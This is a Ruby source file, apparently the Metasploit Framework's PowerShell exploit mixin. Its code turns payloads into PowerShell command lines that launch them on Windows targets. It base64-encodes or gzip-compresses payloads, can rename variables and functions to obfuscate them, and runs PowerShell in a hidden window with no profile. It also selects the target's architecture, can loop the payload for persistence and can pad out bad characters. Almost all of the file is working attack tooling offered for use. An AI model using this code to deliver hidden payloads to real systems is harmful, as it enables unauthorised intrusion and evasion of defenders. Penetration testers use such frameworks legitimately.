# -*- coding: binary -*-
require 'rex/exploitation/powershell'

module Msf
module Exploit::Powershell

  PowershellScript = Rex::Exploitation::Powershell::Script


  def initialize(info = {})
    super
    register_advanced_options(
      [
        OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
        OptBool.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
        OptBool.new('Powershell::strip_comments', [false, 'Strip comments', true]),
        OptBool.new('Powershell::strip_whitespace', [false, 'Strip whitespace', false]),
        OptBool.new('Powershell::sub_vars', [false, 'Substitute variable names', false]),
        OptBool.new('Powershell::sub_funcs', [false, 'Substitute function names', false]),
        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
          'net',
          'reflection',
          'old',
          'msil'
        ]]),
      ], self.class)
  end

  #
  # Reads script into a PowershellScript
  #
  def read_script(script_path)
    return PowershellScript.new(script_path)
  end

  #
  # Insert substitutions into the powershell script
  # If script is a path to a file then read the file
  # otherwise treat it as the contents of a file
  #
  def make_subs(script, subs)
    if ::File.file?(script)
      script = ::File.read(script)
    end

    subs.each do |set|
      script.gsub!(set[0],set[1])
    end

    script
  end

  #
  # Return an array of substitutions for use in make_subs
  #
  def process_subs(subs)
    return [] if subs.nil? or subs.empty?
    new_subs = []
    subs.split(';').each do |set|
      new_subs << set.split(',', 2)
    end

    new_subs
  end

  #
  # Return an encoded powershell script
  # Will invoke PSH modifiers as enabled
  #
  def encode_script(script_in, eof = nil)
    # Build script object
    psh = PowershellScript.new(script_in)
    # Invoke enabled modifiers
    datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
      mod_method = k.split('::').last.intern
      psh.send(mod_method)
    end

    psh.encode_code(eof)
  end

  #
  # Return a gzip compressed powershell script
  # Will invoke PSH modifiers as enabled
  #
  def compress_script(script_in, eof = nil)
    # Build script object
    psh = PowershellScript.new(script_in)
    # Invoke enabled modifiers
    datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
      mod_method = k.split('::').last.intern
      psh.send(mod_method)
    end

    psh.compress_code(eof)
  end

  #
  # Generate a powershell command line
  #
  def generate_psh_command_line(opts)
    if opts[:path] and (opts[:path][-1,1] != "\\")
      opts[:path] << "\\"
    end

    if opts[:no_full_stop]
      binary = "powershell"
    else
      binary = "powershell.exe"
    end

    args = generate_psh_args(opts)

    "#{opts[:path]}#{binary} #{args}"
  end

  #
  # Generate arguments for the powershell command
  # The format will be have no space at the start and have a space
  # afterwards e.g. "-Arg1 x -Arg -Arg x "
  #
  def generate_psh_args(opts)
    return "" unless opts

    unless opts.has_key? :shorten
      opts[:shorten] = (datastore['Powershell::method'] != 'old')
    end

    arg_string = " "
    opts.each_pair do |arg, value|
      case arg
      when :encodedcommand
        arg_string << "-EncodedCommand #{value} " if value
      when :executionpolicy
        arg_string << "-ExecutionPolicy #{value} " if value
      when :inputformat
        arg_string << "-InputFormat #{value} " if value
      when :file
        arg_string << "-File #{value} " if value
      when :noexit
        arg_string << "-NoExit " if value
      when :nologo
        arg_string << "-NoLogo " if value
      when :noninteractive
        arg_string << "-NonInteractive " if value
      when :mta
        arg_string << "-Mta " if value
      when :outputformat
        arg_string << "-OutputFormat #{value} " if value
      when :sta
        arg_string << "-Sta " if value
      when :noprofile
        arg_string << "-NoProfile " if value
      when :windowstyle
        arg_string << "-WindowStyle #{value} " if  value
      end
    end

    #Command must be last (unless from stdin - etc)
    if opts[:command]
      arg_string << "-Command #{opts[:command]}"
    end

    # Shorten arg if PSH 2.0+
    if opts[:shorten]
      # Invoke-Command and Out-File require these options to have
      # an additional space before to prevent Powershell code being
      # mangled.
      arg_string.gsub!(' -Command ', ' -c ')
      arg_string.gsub!('-EncodedCommand ', ' -e ')
      arg_string.gsub!('-ExecutionPolicy ', ' -ep ')
      arg_string.gsub!(' -File ', ' -f ')
      arg_string.gsub!('-InputFormat ', ' -i ')
      arg_string.gsub!('-NoExit ', ' -noe ')
      arg_string.gsub!('-NoLogo ', ' -nol ')
      arg_string.gsub!('-NoProfile ', ' -nop ')
      arg_string.gsub!('-NonInteractive ', ' -noni ')
      arg_string.gsub!('-OutputFormat ', ' -o ')
      arg_string.gsub!('-Sta ', ' -s ')
      arg_string.gsub!('-WindowStyle ', ' -w ')
    end

    #Strip off first space character
    arg_string = arg_string[1..-1]
    #Remove final space character
    arg_string = arg_string[0..-2] if (arg_string[-1] == " ")

    arg_string
  end

  #
  # Runs powershell in hidden window raising interactive proc msg
  # Detect the architecture
  #

  def run_hidden_psh(ps_code, payload_arch, encoded)
    arg_opts = {
        :noprofile => true,
        :windowstyle => 'hidden',
    }

    if encoded
      arg_opts[:encodedcommand] = ps_code
    else
      arg_opts[:command] = ps_code.gsub("'","''")
    end

    # Old technique fails if powershell exits..
    arg_opts[:noexit] = true if datastore['PSH::method'] == 'old'

    ps_args = generate_psh_args(arg_opts)

    process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
    process_start_info.gsub!("\n",';')

    archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS

    archictecure_detection.gsub!("\n","")

    archictecure_detection + process_start_info
  end

  #
  # Creates cmd script to execute psh payload
  #
  def cmd_psh_payload(pay, payload_arch, opts={})
    opts[:persist] ||= datastore['Powershell::persist']
    opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
    opts[:method] ||= datastore['Powershell::method']

    if opts[:encode_inner_payload] && opts[:encode_final_payload]
      raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
    end

    if opts[:no_equals] && !opts[:encode_final_payload]
      raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
    end

    psh_payload = case opts[:method]
    when 'net'
      Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
    when 'reflection'
      Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
    when 'old'
      Msf::Util::EXE.to_win32pe_psh(framework, pay)
    when 'msil'
      raise RuntimeError, "MSIL Powershell method no longer exists"
    else
      raise RuntimeError, "No Powershell method specified"
    end

    # Run our payload in a while loop
    if opts[:persist]
      fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
      sleep_time = rand(5)+5
      vprint_status("Sleep time set to #{sleep_time} seconds")
      psh_payload  = "function #{fun_name}{#{psh_payload}};"
      psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
    end

    if opts[:prepend_sleep]
      if opts[:prepend_sleep].to_i > 0
        psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
      else
        vprint_error('Sleep time must be greater than 0 seconds')
      end
    end

    compressed_payload = compress_script(psh_payload)
    encoded_payload = encode_script(psh_payload)

    if encoded_payload.length <= compressed_payload.length
      smallest_payload = encoded_payload
      encoded = true
    else
      if opts[:encode_inner_payload]
        encoded = true
        compressed_encoded_payload = encode_script(compressed_payload)

        if encoded_payload.length <= compressed_encoded_payload.length
          smallest_payload = encoded_payload
        else
          smallest_payload = compressed_encoded_payload
        end
      else
        smallest_payload = compressed_payload
        encoded = false
      end
    end

    # Wrap in hidden runtime / architecture detection
    final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)

    command_args = {
      :noprofile => true,
      :windowstyle => 'hidden'
    }.merge(opts)

    if opts[:encode_final_payload]
      command_args[:encodedcommand] = encode_script(final_payload)

      # If '=' is a bad character pad the payload until Base64 encoded
      # payload contains none.
      if opts[:no_equals]
        while command_args[:encodedcommand].include? '='
          final_payload << " "
          command_args[:encodedcommand] = encode_script(final_payload)
        end
      end
    else
      if opts[:use_single_quotes]
        # Escape Single Quotes
        final_payload.gsub!("'","''")
        # Wrap command in quotes
        final_payload = "'#{final_payload}'"
      end

      command_args[:command] = final_payload
    end

    psh_command = generate_psh_command_line(command_args)

    if opts[:remove_comspec]
      command = psh_command
    else
      command = "%COMSPEC% /b /c start /min #{psh_command}"
    end

    vprint_status("Powershell command length: #{command.length}")
    if command.length > 8191
      raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
    end

    command
  end


  #
  # Useful method cache
  #
  module PshMethods
    include Rex::Exploitation::Powershell::PshMethods
  end

end
end